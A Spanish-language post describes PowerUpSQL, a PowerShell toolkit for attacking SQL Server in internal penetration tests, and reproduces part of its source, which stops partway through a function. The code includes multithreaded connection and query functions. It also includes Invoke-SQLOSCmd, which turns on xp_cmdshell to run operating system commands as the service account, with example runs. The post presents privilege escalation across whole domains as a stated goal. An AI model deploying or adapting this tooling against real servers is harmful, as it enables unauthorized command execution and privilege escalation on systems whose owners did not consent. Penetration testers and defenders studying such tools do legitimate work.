
PowerShell toolkit for attacking SQL Server v1.0.0.34
El módulo PowerUpSQL incluye funciones que soportan un descubrimiento de SQL Server, la auditoría de configuraciones débiles comunes, y una escalación de privilegios en escala. Está destinado a ser utilizado durante las pruebas de penetración internas y compromisos del equipo rojo. Sin embargo, PowerUpSQL también incluye muchas funciones que podrían ser utilizados por los administradores para rápidamente buscar los servidores SQL Server en su dominio ADS.
Objetivos
PowerUpSQL fue diseñado con seis objetivos en mente:
- Fácil busqueda de servidores: Funciones de búsqueda se puede utilizar para identificar a ciegas locales, dominio y los no-dominio de SQL Server en escala.
- Fácil Auditoría del servidor: La función Invoke-SQLAudit se puede utilizar para auditar en busca de vulnerabilidades de alto impacto comunes y configuraciones débiles utilizando los privilegios del inicio de sesión actual. Además, Invoke-SQLDumpInfo se puede utilizar para rápidamente buscar bases de datos, privilegios y otra información.
- Fácil Explotación de servidor: La función Invoke-SQLEscalatePriv intenta obtener privilegios de administrador de sistemas que utilizan las vulnerabilidades identificadas.
- Escalabilidad: Multi-threading es compatible con las funciones básicas para que puedan ser ejecutadas contra muchos servidores SQL Server de forma rápida.
- Flexibilidad: Las funciones de PowerUpSQL soportan fuentes de información de PowerShell para que puedan ser utilizados juntos, y con otras secuencias de comandos.
- Portabilidad: Por defecto las librerias .net son usadas y no hay dependencias de SQLPS o las librerias de SMO. Las funciones también se han diseñado para que se puedan ejecutar de forma independiente. Como resultado, es fácil de usar en cualquier sistema Windows con PowerShell v3 instalado.
- Autor Scott Sutherland (@_nullbind), NetSPI - 2016
- Colaboradores: Antti Rantasaari Gruber y Eric (@egru)
- Licencia: BSD 3-Cláusula
- Dependencias requeridas: Ninguno
Codigo Fuente
Código:
#requires -Modules Microsoft.PowerShell.Utility
#requires -version 2
<#
File: PowerUpSQL.ps1
Author: Scott Sutherland (@_nullbind), NetSPI - 2016
Contributors: Antti Rantasaari and Eric Gruber
Version: 1.0.0.34
Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server.
License: BSD 3-Clause
Required Dependencies: PowerShell v.2
Optional Dependencies: None
#>
#########################################################################
#
#region CORE FUNCTIONS
#
#########################################################################
# ----------------------------------
# Get-SQLConnectionObject
# ----------------------------------
# Author: Scott Sutherland
# Reference: https://msdn.microsoft.com/en-us/library/ms188247.aspx
Function Get-SQLConnectionObject
{
<#
.SYNOPSIS
Creates a object for connecting to SQL Server.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Database
Default database to connect to.
.EXAMPLE
PS C:\> Get-SQLConnectionObject -Username MySQLUser -Password MySQLPassword
StatisticsEnabled : False
AccessToken :
ConnectionString : Server=SQLServer1;Database=Master;User ID=MySQLUser;Password=MySQLPassword;Connection Timeout=1
ConnectionTimeout : 1
Database : Master
DataSource : SQLServer1
PacketSize : 8000
ClientConnectionId : 00000000-0000-0000-0000-000000000000
ServerVersion :
State : Closed
WorkstationId : SQLServer1
Credential :
FireInfoMessageEventOnUserErrors : False
Site :
Container :
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Dedicated Administrator Connection (DAC).')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut = 1
)
Begin
{
# Setup DAC string
if($DAC)
{
$DacConn = 'ADMIN:'
}
else
{
$DacConn = ''
}
# Set database filter
if(-not $Database)
{
$Database = 'Master'
}
}
Process
{
# Check for instance
if ( -not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Create connection object
$Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection
# Check for username and password
if($Username -and $Password)
{
# Setup connection string with SQL Server credentials
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"
}
else
{
# Get connecting user
$UserDomain = [Environment]::UserDomainName
$Username = [Environment]::UserName
$ConnectionectUser = "$UserDomain\$Username"
# Status user
Write-Debug -Message "Attempting to authenticate to $DacConn$Instance as current Windows user ($ConnectionectUser)..."
# Setup connection string with trusted connection
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1"
<#
# Check for provided credential
if ($Credential){
$Username = $credential.Username
$Password = $Credential.GetNetworkCredential().Password
# Setup connection string with SQL Server credentials
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"
}
#>
}
# Return the connection object
return $Connection
}
End
{
}
}
# ----------------------------------
# Get-SQLConnectionTest
# ----------------------------------
# Author: Scott Sutherland
Function Get-SQLConnectionTest
{
<#
.SYNOPSIS
Tests if the current Windows account or provided SQL Server login can log into an SQL Server.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER DAC
Connect using Dedicated Admin Connection.
.PARAMETER Database
Default database to connect to.
.PARAMETER TimeOut
Connection time out.
.PARAMETER SuppressVerbose
Suppress verbose errors. Used when function is wrapped.
.EXAMPLE
PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress"
.EXAMPLE
PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433"
.EXAMPLE
PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTest -Verbose
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipeline,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin
{
# Setup data table for output
$TblResults = New-Object -TypeName System.Data.DataTable
$null = $TblResults.Columns.Add('ComputerName')
$null = $TblResults.Columns.Add('Instance')
$null = $TblResults.Columns.Add('Status')
}
Process
{
# Parse computer name from the instance
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
# Default connection to local default instance
if(-not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Setup DAC string
if($DAC)
{
# Create connection object
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database
}
else
{
# Create connection object
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
}
# Attempt connection
try
{
# Open connection
$Connection.Open()
if(-not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Success."
}
# Add record
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')
# Close connection
$Connection.Close()
# Dispose connection
$Connection.Dispose()
}
catch
{
# Connection failed
if(-not $SuppressVerbose)
{
$ErrorMessage = $_.Exception.Message
Write-Verbose -Message "$Instance : Connection Failed."
Write-Verbose -Message " Error: $ErrorMessage"
}
# Add record
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
}
}
End
{
# Return Results
$TblResults
}
}
# ----------------------------------
# Get-SQLConnectionTestThreaded
# ----------------------------------
# Author: Scott Sutherland
Function Get-SQLConnectionTestThreaded
{
<#
.SYNOPSIS
Tests if the current Windows account or provided SQL Server login can log into an SQL Server. This version support threading using runspaces.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER DAC
Connect using Dedicated Admin Connection.
.PARAMETER Database
Default database to connect to.
.PARAMETER TimeOut
Connection time out.
.PARAMETER SuppressVerbose
Suppress verbose errors. Used when function is wrapped.
.PARAMETER Threads
Number of concurrent threads.
.EXAMPLE
PS C:\> Get-SQLConnectionTestThreaded -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Threads 15
.EXAMPLE
PS C:\> Get-SQLConnectionTestThreaded -Verbose -Instance "SQLSERVER1.domain.com,1433" -Threads 15
.EXAMPLE
PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipeline,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Number of threads.')]
[int]$Threads = 5,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin
{
# Setup data table for output
$TblResults = New-Object -TypeName System.Data.DataTable
$null = $TblResults.Columns.Add('ComputerName')
$null = $TblResults.Columns.Add('Instance')
$null = $TblResults.Columns.Add('Status')
# Setup data table for pipeline threading
$PipelineItems = New-Object -TypeName System.Data.DataTable
# set instance to local host by default
if(-not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Ensure provided instance is processed
if($Instance)
{
$ProvideInstance = New-Object -TypeName PSObject -Property @{
Instance = $Instance
}
}
# Add instance to instance list
$PipelineItems = $PipelineItems + $ProvideInstance
}
Process
{
# Create list of pipeline items
$PipelineItems = $PipelineItems + $_
}
End
{
# Define code to be multi-threaded
$MyScriptBlock = {
# Setup instance
$Instance = $_.Instance
# Parse computer name from the instance
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
# Setup DAC string
if($DAC)
{
# Create connection object
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database
}
else
{
# Create connection object
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
}
# Attempt connection
try
{
# Open connection
$Connection.Open()
if(-not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Success."
}
# Add record
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')
# Close connection
$Connection.Close()
# Dispose connection
$Connection.Dispose()
}
catch
{
# Connection failed
if(-not $SuppressVerbose)
{
$ErrorMessage = $_.Exception.Message
Write-Verbose -Message "$Instance : Connection Failed."
#Write-Verbose " Error: $ErrorMessage"
}
# Add record
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
}
}
# Run scriptblock using multi-threading
$PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue
return $TblResults
}
}
# ----------------------------------
# Get-SQLQuery
# ----------------------------------
# Author: Scott Sutherland
Function Get-SQLQuery
{
<#
.SYNOPSIS
Executes a query on target SQL servers.This
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER DAC
Connect using Dedicated Admin Connection.
.PARAMETER Database
Default database to connect to.
.PARAMETER TimeOut
Connection time out.
.PARAMETER SuppressVerbose
Suppress verbose errors. Used when function is wrapped.
.PARAMETER Threads
Number of concurrent threads.
.PARAMETER Query
Query to be executed on the SQL Server.
.EXAMPLE
PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15
.EXAMPLE
PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15
.EXAMPLE
PS C:\> Get-SQLInstanceDomain | Get-SQLQuery -Verbose -Query "Select @@version" -Threads 15
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server query.')]
[string]$Query,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[int]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose,
[Parameter(Mandatory = $false,
HelpMessage = 'Return error message if exists.')]
[switch]$ReturnError
)
Begin
{
# Setup up data tables for output
$TblQueryResults = New-Object -TypeName System.Data.DataTable
}
Process
{
# Setup DAC string
if($DAC)
{
# Create connection object
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database
}
else
{
# Create connection object
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
}
# Parse SQL Server instance name
$ConnectionString = $Connection.Connectionstring
$Instance = $ConnectionString.split(';')[0].split('=')[1]
# Check for query
if($Query)
{
# Attempt connection
try
{
# Open connection
$Connection.Open()
if(-not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Success."
}
# Setup SQL query
$Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
# Grab results
$Results = $Command.ExecuteReader()
# Load results into data table
$TblQueryResults.Load($Results)
# Close connection
$Connection.Close()
# Dispose connection
$Connection.Dispose()
}
catch
{
# Connection failed - for detail error use Get-SQLConnectionTest
if(-not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Failed."
}
if($ReturnError)
{
$ErrorMessage = $_.Exception.Message
#Write-Verbose " Error: $ErrorMessage"
}
}
}
else
{
Write-Output -InputObject 'No query provided to Get-SQLQuery function.'
Break
}
}
End
{
# Return Results
if($ReturnError)
{
$ErrorMessage
}
else
{
$TblQueryResults
}
}
}
# ----------------------------------
# Get-SQLQueryThreaded
# ----------------------------------
# Author: Scott Sutherland
Function Get-SQLQueryThreaded
{
<#
.SYNOPSIS
Executes a query on target SQL servers.This version support threading using runspaces.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER DAC
Connect using Dedicated Admin Connection.
.PARAMETER Database
Default database to connect to.
.PARAMETER TimeOut
Connection time out.
.PARAMETER SuppressVerbose
Suppress verbose errors. Used when function is wrapped.
.PARAMETER Threads
Number of concurrent host threads.
.PARAMETER Query
Query to be executed on the SQL Server.
.EXAMPLE
PS C:\> Get-SQLQueryThreaded -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15
.EXAMPLE
PS C:\> Get-SQLQueryThreaded -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15
.EXAMPLE
PS C:\> Get-SQLInstanceDomain | Get-SQLQueryThreaded -Verbose -Query "Select @@version" -Threads 15
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipeline,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $true,
HelpMessage = 'Query to be executed.')]
[String]$Query,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Number of threads.')]
[int]$Threads = 5,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin
{
# Setup data table for output
$TblResults = New-Object -TypeName System.Data.DataTable
# Setup data table for pipeline threading
$PipelineItems = New-Object -TypeName System.Data.DataTable
# set instance to local host by default
if(-not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Ensure provided instance is processed
if($Instance)
{
$ProvideInstance = New-Object -TypeName PSObject -Property @{
Instance = $Instance
}
}
# Add instance to instance list
$PipelineItems = $PipelineItems + $ProvideInstance
}
Process
{
# Create list of pipeline items
$PipelineItems = $PipelineItems + $_
}
End
{
# Define code to be multi-threaded
$MyScriptBlock = {
$Instance = $_.Instance
# Parse computer name from the instance
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
# Setup DAC string
if($DAC)
{
# Create connection object
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database
}
else
{
# Create connection object
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
}
# Attempt connection
try
{
# Open connection
$Connection.Open()
if(-not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Success."
}
# Setup SQL query
$Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
# Grab results
$Results = $Command.ExecuteReader()
# Load results into data table
$TblResults.Load($Results)
# Close connection
$Connection.Close()
# Dispose connection
$Connection.Dispose()
}
catch
{
# Connection failed
if(-not $SuppressVerbose)
{
$ErrorMessage = $_.Exception.Message
Write-Verbose -Message "$Instance : Connection Failed."
#Write-Verbose " Error: $ErrorMessage"
}
# Add record
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
}
}
# Run scriptblock using multi-threading
$PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue
return $TblResults
}
}
#endregion
#########################################################################
#
#region COMMON FUNCTIONS
#
#########################################################################
# ----------------------------------
# Invoke-SQLOSCmd
# ----------------------------------
# Author: Scott Sutherland
Function Invoke-SQLOSCmd
{
<#
.SYNOPSIS
Execute command on the operating system as the SQL Server service account using xp_cmdshell. Supports threading, raw output, and table output.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER DAC
Connect using Dedicated Admin Connection.
.PARAMETER TimeOut
Connection time out.
.PARAMETER SuppressVerbose
Suppress verbose errors. Used when function is wrapped.
.PARAMETER Threads
Number of concurrent threads.
.PARAMETER Command
Operating command to be executed on the SQL Server.
.PARAMETER RawResults
Just show the raw results without the computer or instance name.
.EXAMPLE
PS C:\> Invoke-SQLOSCmd -Verbose -Instance "SQLServer1" -Command "dir c:\windows\system32\drivers\etc\" -RawResults
VERBOSE: Creating runspace pool and session states
VERBOSE: SQLServer1 : Connection Success.
VERBOSE: SQLServer1 : Connection Success.
VERBOSE: SQLServer1 : You are a sysadmin.
VERBOSE: SQLServer1 : Show Advanced Options is disabled.
VERBOSE: SQLServer1 : Enabled Show Advanced Options.
VERBOSE: SQLServer1 : xp_cmdshell is disabled.
VERBOSE: SQLServer1 : Enabled xp_cmdshell.
VERBOSE: SQLServer1 : Running command: dir c:\windows\system32\drivers\etc\
VERBOSE: SQLServer1 : Disabling xp_cmdshell
VERBOSE: SQLServer1 : Disabling Show Advanced Options
Volume in drive C is OSDisk
Volume Serial Number is C044-F8BC
VERBOSE: Closing the runspace pool
output
------
Directory of c:\windows\system32\drivers\etc
06/22/2016 09:09 AM <DIR> .
06/22/2016 09:09 AM <DIR> ..
09/22/2015 10:16 AM 851 hosts
08/22/2013 10:35 AM 3,683 lmhosts.sam
08/22/2013 08:25 AM 407 networks
08/22/2013 08:25 AM 1,358 protocol
08/22/2013 08:25 AM 17,463 services
5 File(s) 23,762 bytes
2 Dir(s) 56,438,497,280 bytes free
.EXAMPLE
PS C:\> Invoke-SQLOSCmd -Verbose -Instance "SQLSERVER1.domain.com,1433" -Command "whoami"
Invoke-SQLOSCmd -Verbose -Instance "SQLServer1" -Command "whoami"
VERBOSE: Creating runspace pool and session states
VERBOSE: SQLServer1 : Connection Success.
VERBOSE: SQLServer1 : Connection Success.
VERBOSE: SQLServer1 : You are a sysadmin.
VERBOSE: SQLServer1 : Show Advanced Options is disabled.
VERBOSE: SQLServer1 : Enabled Show Advanced Options.
VERBOSE: SQLServer1 : xp_cmdshell is disabled.
VERBOSE: SQLServer1 : Enabled xp_cmdshell.
VERBOSE: SQLServer1 : Running command: whoami
VERBOSE: SQLServer1 : Disabling xp_cmdshell
VERBOSE: SQLServer1 : Disabling Show Advanced Options
VERBOSE: Closing the runspace pool
ComputerName Instance CommandResults
------------ -------- --------------
SQLServer1 SQLServer1 nt service\mssqlserver
.EXAMPLE
PS C:\> Get-SQLInstanceDomain | Invoke-SQLOSCmd -Verbose -Command "whoami" -Threads 5
Get-SQLInstanceLocal | Invoke-SQLOSCmd -Verbose -Command "whoami"
VERBOSE: Creating runspace pool and session states
VERBOSE: SQLServer1\SQLEXPRESS : Connection Success.
VERBOSE: SQLServer1\SQLEXPRESS : Connection Success.
VERBOSE: SQLServer1\SQLEXPRESS : You are a sysadmin.
VERBOSE: SQLServer1\SQLEXPRESS : Show Advanced Options is already enabled.
VERBOSE: SQLServer1\SQLEXPRESS : xp_cmdshell is already enabled.
VERBOSE: SQLServer1\SQLEXPRESS : Running command: whoami
VERBOSE: SQLServer1\STANDARDDEV2014 : Connection Success.
VERBOSE: SQLServer1\STANDARDDEV2014 : Connection Success.
VERBOSE: SQLServer1\STANDARDDEV2014 : You are a sysadmin.
VERBOSE: SQLServer1\STANDARDDEV2014 : Show Advanced Options is already enabled.
VERBOSE: SQLServer1\STANDARDDEV2014 : xp_cmdshell is already enabled.
VERBOSE: SQLServer1\STANDARDDEV2014 : Running command: whoami
VERBOSE: SQLServer1 : Connection Success.
VERBOSE: SQLServer1 : Connection Success.
VERBOSE: SQLServer1 : You are a sysadmin.
VERBOSE: SQLServer1 : Show Advanced Options is disabled.
VERBOSE: SQLServer1 : Enabled Show Advanced Options.
VERBOSE: SQLServer1 : xp_cmdshell is disabled.
VERBOSE: SQLServer1 : Enabled xp_cmdshell.
VERBOSE: SQLServer1 : Running command: whoami
VERBOSE: SQLServer1 : Disabling xp_cmdshell
VERBOSE: SQLServer1 : Disabling Show Advanced Options
VERBOSE: Closing the runspace pool
ComputerName Instance CommandResults
------------ -------- --------------
SQLServer1 SQLServer1\SQLEXPRESS nt service\mssql$sqlexpress
SQLServer1 SQLServer1\STANDARDDEV2014 nt authority\system
SQLServer1 SQLServer1 nt service\mssqlserver
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipeline,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $true,
HelpMessage = 'OS command to be executed.')]
[String]$Command,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Number of threads.')]
[int]$Threads = 1,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose,
[Parameter(Mandatory = $false,
HelpMessage = 'Just show the raw results without the computer or instance name.')]
[switch]$RawResults
)
Begin
{
# Setup data table for output
$TblCommands = New-Object -TypeName System.Data.DataTable
$TblResults = New-Object -TypeName System.Data.DataTable
$null = $TblResults.Columns.Add('ComputerName')
$null = $TblResults.Columns.Add('Instance')
$null = $TblResults.Columns.Add('CommandResults')
# Setup data table for pipeline threading
$PipelineItems = New-Object -TypeName System.Data.DataTable
# set instance to local host by default
if(-not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Ensure provided instance is processed
if($Instance)
{
$ProvideInstance = New-Object -TypeName PSObject -Property @{
Instance = $Instance
}
}
# Add instance to instance list
$PipelineItems = $PipelineItems + $ProvideInstance
}
Process
{
# Create list of pipeline items
$PipelineItems = $PipelineItems + $_
}
End
{
# Define code to be multi-threaded
$MyScriptBlock = {
$Instance = $_.Instance
# Parse computer name from the instance
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
# Default connection to local default instance
if(-not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Setup DAC string
if($DAC)
{
# Create connection object
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut
}
else
{
# Create connection object
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut
}
# Attempt connection
try
{
# Open connection
$Connection.Open()
if(-not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Success."
}
# Switch to track xp_cmdshell status
$DisableShowAdvancedOptions = 0
$DisableXpCmdshell = 0
# Get sysadmin status
$IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
# Check if xp_cmdshell is enabled
if($IsSysadmin -eq 'Yes')
{
Write-Verbose -Message "$Instance : You are a sysadmin."
$IsXpCmdshellEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value
$IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value
}
else
{
Write-Verbose -Message "$Instance : You are not a sysadmin. This command requires sysadmin privileges."
# Add record
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'No sysadmin privileges.')
return
}
# Enable show advanced options if needed
if ($IsShowAdvancedEnabled -eq 1)
{
Write-Verbose -Message "$Instance : Show Advanced Options is already enabled."
}
else
{
Write-Verbose -Message "$Instance : Show Advanced Options is disabled."
$DisableShowAdvancedOptions = 1
# Try to enable Show Advanced Options
Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
# Check if configuration change worked
